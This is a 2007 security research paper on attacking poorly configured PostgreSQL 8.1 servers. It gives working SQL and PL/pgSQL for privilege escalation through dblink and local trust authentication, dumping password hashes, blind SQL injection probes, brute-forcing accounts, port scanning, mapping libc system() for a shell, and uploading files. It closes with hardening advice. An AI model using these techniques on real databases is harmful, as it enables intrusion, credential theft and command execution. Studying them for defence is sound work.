Having Fun With PostgreSQL

Nico Leidecker
nfl@portcullis-security.com

June 05 2007

Contents

Elephant On The Rise

PostgreSQL is an open-source database management system (DBMS), released under the BSD license with the current stable version of 8.2.3. It derived from the POSTGRES project at the University of California, Berkeley starting in 1986[1]. POSTGRES's final performance in version 4.2 dated 1994[2] while PostgreSQL became one of the most popular DBMS today. In version 8.0 approximately 1 million downloads were recorded within seven months of its release. The PostgreSQL project registers a number of significant users like BASF, Fujitsu, Sun Microsystems or the U.S. Center For Disease Control and Prevention[3].

1 Preface

This document presents a couple of ideas for exploiting weaknesses in typical PostgreSQL configurations. Most of these ideas won't be new but are still difficult to find or easy to miss, most documentation aimed at database administrators often do not address or overlook these issues.

The following examples where tested on PostgreSQL 8.1 and may differ from previous versions. Version 8.2 brings further significant changes that are discussed in section 4.

2 dblink: The Root Of All Evil

The Database Link library (dblink) has been part of the PostgreSQL project since version 7.2. As the name suggests it is used for interconnetions between remote databases. The contribution comes in handy, when, for instance, data from a remote database needs to be included into a local database. Typical usage for the function is creating a view from a remotely executed query:

```
CREATE VIEW entry_states AS SELECT * FROM
                  dblink('host=1.2.3.4
                         dbname=remotedb
                         user=dbuser
                         password=secretpass',
                        'SELECT id, title FROM  entries')
                  AS remote_entries(id INT, title TEXT);
```

This is just a simple example showing how one might use dblink. But of more interest are the ways in which this can be abused. The library itself was not designed to allow misuse, but in combination with a poorly misconfigured PostgreSQL it turns into a paradisiacal playground for people with curious minds.

2.1 Privilege Escalation

The default PostgreSQL configuration from the sources has *local trust authentication* enabled. Any connection made from the local host to the database will be accepted and the user directly logged in without the need to supply a password. It is hard to understand, why such a feature is part of the default configuration and yet, the warning in the corresponding file (*pg_hba.conf*) is unmistakable:

> CAUTION: Configuring the system for local 'trust' authentication allows any local user to connect as any PostgreSQL user, including the database superuser. If you do not trust all your local users, use another authentication method.

[1]http://db.cs.berkeley.edu/postgres.html
[2]http://www.postgresql.org/about/history
[3]http://www.postgresql.org/about/users

However an experienced PostgreSQL administrator probably won't get into trouble with that, but people who are new to PostgreSQL or databases can easily miss this and hence fail to disable the local trust authentication.

Having outlined above the dblink library, consider combining it with the local trust authentication. This leads to the question: What happens if we use dblink to connect to the local host?

```
 SELECT * FROM dblink('host=127.0.0.1
                      user=someuser
                      dbname=somedb',
                     'SELECT column FROM sometable')
                 RETURNS (result TEXT);
```

The nested query will be executed with privileges of *someuser* and return the results to the current session. Generally it is accepted that the current user is not a superuser. But once we know the name of a superuser, have identified a host as having dblink installed and the local trust authentication enabled, we have a much greater scope. Here is an example from an unprivileged user named *someuser*:

```
$ psql -U someuser somedb
somedb=> select usename, usesuper from pg_user where usename = current_user;
 usename  | usesuper
----------+----------
 someuser | f
 (1 row)

somedb=> select usename from pg_user where usesuper='t';
 usename
---------
 admin
(1 row)
```

To prove the point, we will try to query the password hashes from `pg_shadow` first as the unprivileged *someuser* and then via privilege escalation and the user *admin*.

```
somedb=> select usename, passwd from pg_shadow;
ERROR: permission denied for relation pg_shadow

somedb=> SELECT * FROM dblink('host=127.0.0.1 user=admin
dbname=somedb', 'select usename,passwd from pg_shadow') returns
(usename TEXT, passwd TEXT);
 usename  |   passwd
----------+-------------------------------------
 admin    | md549088b3a87b8ce56ecd39259d17ff834
 someuser | md5e7b0ce63e5eee01ee6268b3b6258e8b2
(2 rows)
```

These queries could of course be used within SQL injection attacks. Obviously an important requirment is identifying whether the dblink library is installed and the localtrust authentication enabled. Taking the most difficult option, lets assume that we're facing a blind SQL injection attack, these two simple queries would bring us the information we need:

```
SELECT
    repeat(md5(1), 500000)
WHERE
    EXISTS (SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2);
```

```
SELECT
    repeat(md5(1),500000)
WHERE
    EXISTS (
        SELECT * FROM dblink('host=127.0.0.1
                              user=admin
                              dbname=somedb',
                             'SELECT 1')
                          RETURNS (i INT));
```

By being able to escalate privileges we are able to perform more interesting functions. which are outlined in the following sections. But before we go there, let's take a deeper look at dblink and what can be achieved without privilege escalation.

2.2 Brute-Forcing User Accounts

If there is no local trust authentication enabled we can still attempt to brute-force user accounts, perhaps there is even an account with a weak password! A very straight forward way would be to send word by word in an SQL injection query, embedded in a *POST* or *GET* request to the web server. However, the unusual high amount of requests made may trigger IPS based devices. So, another approach that only requires one or two requests and leaves all the processing to the datbase is required, consider this; Using *PL/pgSQL*, a loadable procedural language for the PostgreSQL database system, which an administrator will have to have created by executing `CREATE LANGUAGE 'plpgsql'`. We can verify its existance using:

```
somedb=> SELECT lanname, lanacl FROM pg_language WHERE lanname = 'plpgsql';
 lanname | lanacl
---------+---------
 plpgsql |
(1 row)
```

Eureka! So, it does exist and even better: By default, creating functions is a privilege granted to `PUBLIC`, where `PUBLIC` refers to every user on that database system. To prevent this, the administrator would have had to revoke the `USAGE` privilege from the `PUBLIC` domain:

```
somedb=# REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```

In that case, our previous query would output different results:

```
somedb=> SELECT lanname, lanacl FROM pg_language WHERE lanname = 'plpgsql';
 lanname | lanacl
---------+-----------------
 plpgsql | {admin=U/admin}
(1 row)
```

However, we are allowed to use the language and thus can create arbitrary functions. From this we create a function that compiles words and uses them in a dblink connection string with the local host set as the target. Additional, we need exception handling, as an error will be raised, if authentication fails.

```
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                   username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
    word TEXT;
BEGIN
    FOR a IN 65..122 LOOP
        FOR b IN 65..122 LOOP
```

```
            FOR c IN 65..122 LOOP
                FOR d IN 65..122 LOOP
                    BEGIN
                        word := chr(a) || chr(b) || chr(c) || chr(d);
                        PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                     ' port=' || port ||
                                                     ' dbname=' || dbname ||
                                                     ' user=' || username ||
                                                     ' password=' || word,
                                                     'SELECT 1') RETURNS (i INT));
                                                  RETURN word;
                        EXCEPTION
                            WHEN sqlclient_unable_to_establish_sqlconnection THEN
                                -- do nothing
                    END;
                END LOOP;
            END LOOP;
        END LOOP;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
```

This purely incremental brute-force method will return the word it found as the result following successful authentication or NULL. Unfortunately as with all brute force techniques, this will have to run a for a long time and may not yeld positive results. Another option is using words from within a pre-compiled word list. One way to do to this, is to use the capabilities of another remote database;

```
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                    username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
    FOR word IN (SELECT word FROM dblink('host=1.2.3.4
                                          user=name
                                          password=qwerty
                                          dbname=wordlists',
                                         'SELECT word FROM wordlist')
                                     RETURNS (word TEXT)) LOOP
        BEGIN
            PERFORM(SELECT * FROM dblink(' host=' || host ||
                                         ' port=' || port ||
                                         ' dbname=' || dbname ||
                                         ' user=' || username ||
                                         ' password=' || word,
                                         'SELECT 1')
                                     RETURNS (i INT));
            RETURN word;

            EXCEPTION
                WHEN sqlclient_unable_to_establish_sqlconnection THEN
                    -- do nothing
        END;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
```

Depending on the data in the database, it would be wise to get the words from the actual data. Here is a simple example of such a function, which gets and queries every table and attribute of type `TEXT` from `pg_attribute` and `pg_class`.

```
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                    username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
    qry TEXT;
    row RECORD;
    word text;
BEGIN
    FOR row IN (SELECT
                    relname, attname
                FROM
                    (pg_attribute JOIN pg_type ON atttypid=pg_type.oid)
                        JOIN pg_class ON attrelid = pg_class.oid
                WHERE
                    typname = 'text') LOOP
        BEGIN
            qry = 'SELECT '
                    || row.attname || ' AS word ' ||
                  'FROM '
                    || row.relname || ' ' ||
                  'WHERE '
                    || row.attname || ' IS NOT NULL';

            FOR word IN EXECUTE (qry) LOOP
                BEGIN
                    PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                 ' port=' || port ||
                                                 ' dbname=' || dbname ||
                                                 ' user=' || username ||
                                                 ' password=' || word,
                                                 'SELECT 1')
                                              RETURNS (i INT));
                    RETURN word;

                    EXCEPTION
                        WHEN sqlclient_unable_to_establish_sqlconnection THEN
                            -- do nothing
                END;
            END LOOP;
        END;
    END LOOP;
    RETURN NULL;
END;
$$ language 'plpgsql';
```

This could be improved by splitting the result by spaces and by removing all the unwanted special characters. But that's not to be done here

2.3 Port-Scanning Via Remote Access

When a connection attempt fails, dblink throws an `sqlclient_unable_to_establish_sqlconnection` exception including an explanation of the error. Examples of these details are listed below.

```
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
```

Host is down

> DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Port is closed

> DETAIL: could not connect to server: Connection refused Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Port is open

> DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request

or

> DETAIL: FATAL: password authentication failed for user "name"

Port is open or filtered

> DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

Unfortunately, there does not seem to be a way of getting the exception details within a *PL/pgSQL* function. But you can get the details if you can connect directly to the PostgreSQL server. If it is not possible to get usernames and passwords directly out of the system tables, the wordlist attack described in the previous section might prove successful.

3 Mapping Library Functions

If we take a closer look at the way dblink is deployed, we find these lines:

```
CREATE OR REPLACE FUNCTION dblink_connect (text) RETURNS text AS
'$libdir/dblink','dblink_connect' LANGUAGE 'C' STRICT;
```

This is a simple `CREATE` statement with the *$libdir* variable representing the PostgreSQL library directory. After executing the query, a function is mapped from the dblink library to `dblink_connect()`, which expects a single `TEXT` argument. There are no restrictions on what libraries and what functions are mapped or in what directory we find the libraries. Hence, we can create a function and map it to any function of an arbitrary library ... let's say *libc*:

```
CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6',
'sleep' LANGUAGE 'C' STRICT;
```

By default, a non-super user won't have permissions to create functions using the language *c*. But in the unlikely event that we are superuser or using the privilege escalation outlined above we can get access to a shell.

3.1 Getting A Shell

PostgreSQL offers a function for c strings, called `cstring`. This allows us to not only map functions expecting integer arguments but also allows us to transform `TEXT` structures into raw character arrays. And that opens us these doors:

```
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
'/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
```

Everything we do with `system()` will be executed in the server's context. It is however unlikely this will be root.

3.2 Uploading Files

Experimenting with functions it is possible to open, write and close files. Whilst there might be other methods by which we can undertake this, here is an interesting method for sending chunks from a binary file to the database server and then writing that data to a file. The funtions required are:

```
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS
'/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;

CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS
'/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;

CREATE OR REPLACE FUNCTION close(int) RETURNS int AS
'/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
```

Uploading binary data to a web server which is then forwarded to a database server is likely to fail. For this to succeed we need to encode the binary data into alpha numeric characters. *Base64* encoding is our friend and the friendly PostgreSQL server incoporates stored procedures to make that an easy way. PostgreSQL will fork a process for every new connection, so that a file descriptor will be lost after connection has been closed. Which means we need to open the same file for every seperate piece of data we send. This is not an problem, though. The following function opens, writes to and closes a file, as well as decodes the base64 string before writing it to the file:

```
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
    fh int;
    s int;
    w bytea;
    i int;
BEGIN
    SELECT open(textout(file)::cstring, 522, 448) INTO fh;

    IF fh <= 2 THEN
        RETURN 1;
    END IF;

    SELECT decode(s, 'base64') INTO w;

    i := 0;
    LOOP
        EXIT WHEN i >= octet_length(w);

        SELECT write(fh, textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
        IF rs < 0 THEN
            RETURN 2;
        END IF;

        i := i + 1;
    END LOOP;

    SELECT close(fh) INTO rs;

    RETURN 0;

END;
$$ LANGUAGE 'plpgsql';
```

The numbers 522 and 448 in the `open()` function call are what `( O_CREAT | O_APPEND | O_RDWR )` and `S_IRWXU` would stand for. Please note, that those values might vary from operating systems.

4 From Sleeping And Copying In PostgreSQL 8.2

Many things in this paper rely on version 8.1 of the PostgreSQL database management system and would not work or work differently in version 8.2. For example within the new version there is a builtin sleep function called `pg_sleep`. This function actually would make life easier. But another new feature is the compatibility check which runs when loading libraries. Every library intended for use with PostgreSQL must carry a magic block to identify itself. Of course, libc does not have that block and thus cannot be loaded. In short, we cannot use `system()` for executing shell commands and cannot use `write()`, `open()` or `close()` for writing to files. But what we can do is use the `COPY` command to write to files. Unfortunately we need superuser privileges in order to copy data from a table to a file and we cannot write binary data to a file. So the question is: Does writing ASCII data with low privileges to a world writable directory like */tmp* help us?! Probably not.

5 Recommendation And Prevention

The first thing one should do to prevent the attacks outlined here is to disable the local trust authentication. Disabling it is done by commenting or editing the default lines on the bottom in *pg_hba.conf* to something like:

```
local    all    all    ident sameuser
host     all    all    md5
```

This forces identification of any user connecting to the database from the local host or a remote host. Privilege escalation via dblink is then no longer possible.

To disable function mapping with arbitrary libraries it's probably best to upgrade to the latest PostgreSQL version. But it would also be sufficient to ensure all users have low privileges. Non-Superusers cannot map library functions.

6 Introducing pgshell

pgshell is a Perl script that does, what has been covered in this paper. It exploits SQL injections in order to gather information on the target system, escalade privileges, spawn a shell and upload files. For a proper description, please refer to *http://www.leidecker/pgshell/*

7 Contact & Copyright

Nico Leidecker, nfl@portcullis-security.com